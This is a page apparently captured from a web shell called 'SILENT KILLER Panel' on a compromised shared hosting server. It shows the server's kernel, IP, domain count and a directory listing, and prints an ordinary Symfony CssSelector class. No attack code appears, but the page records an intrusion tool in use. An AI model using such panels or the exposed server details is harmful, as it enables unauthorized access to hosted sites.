SILENT KILLERPanel

Current Path: > > opt > cloudlinux > alt-php55 > root > usr > share > > pear > Symfony > > Component > CssSelector > Node


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/cloudlinux/alt-php55/root/usr/share//pear/Symfony//Component/CssSelector/Node

NameTypeSizeLast ModifiedActions
AbstractNode.php File 920 bytes December 18 2019 11:24:05.
AttributeNode.php File 2635 bytes December 18 2019 11:24:05.
ClassNode.php File 1519 bytes December 18 2019 11:24:05.
CombinedSelectorNode.php File 1992 bytes December 18 2019 11:24:05.
ElementNode.php File 1606 bytes December 18 2019 11:24:05.
FunctionNode.php File 2075 bytes December 18 2019 11:24:05.
HashNode.php File 1500 bytes December 18 2019 11:24:05.
NegationNode.php File 1634 bytes December 18 2019 11:24:05.
NodeInterface.php File 920 bytes December 18 2019 11:24:05.
PseudoNode.php File 1586 bytes December 18 2019 11:24:05.
SelectorNode.php File 1684 bytes December 18 2019 11:24:05.
Specificity.php File 1563 bytes December 18 2019 11:24:05.

Reading File: //opt/cloudlinux/alt-php55/root/usr/share//pear/Symfony//Component/CssSelector/Node/Specificity.php

<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\CssSelector\Node;

/**
 * Represents a node specificity.
 *
 * This component is a port of the Python cssselector library,
 * which is copyright Ian Bicking, @see https://github.com/SimonSapin/cssselect.
 *
 * @see http://www.w3.org/TR/selectors/#specificity
 *
 * @author Jean-François Simon <jeanfrancois.simon@sensiolabs.com>
 */
class Specificity
{
    const A_FACTOR = 100;
    const B_FACTOR = 10;
    const C_FACTOR = 1;

    /**
     * @var int
     */
    private $a;

    /**
     * @var int
     */
    private $b;

    /**
     * @var int
     */
    private $c;

    /**
     * Constructor.
     *
     * @param int $a
     * @param int $b
     * @param int $c
     */
    public function __construct($a, $b, $c)
    {
        $this->a = $a;
        $this->b = $b;
        $this->c = $c;
    }

    /**
     * @param Specificity $specificity
     *
     * @return Specificity
     */
    public function plus(Specificity $specificity)
    {
        return new self($this->a + $specificity->a, $this->b + $specificity->b, $this->c + $specificity->c);
    }

    /**
     * Returns global specificity value.
     *
     * @return int
     */
    public function getValue()
    {
        return $this->a * self::A_FACTOR + $this->b * self::B_FACTOR + $this->c * self::C_FACTOR;
    }
}

SILENT KILLER Tool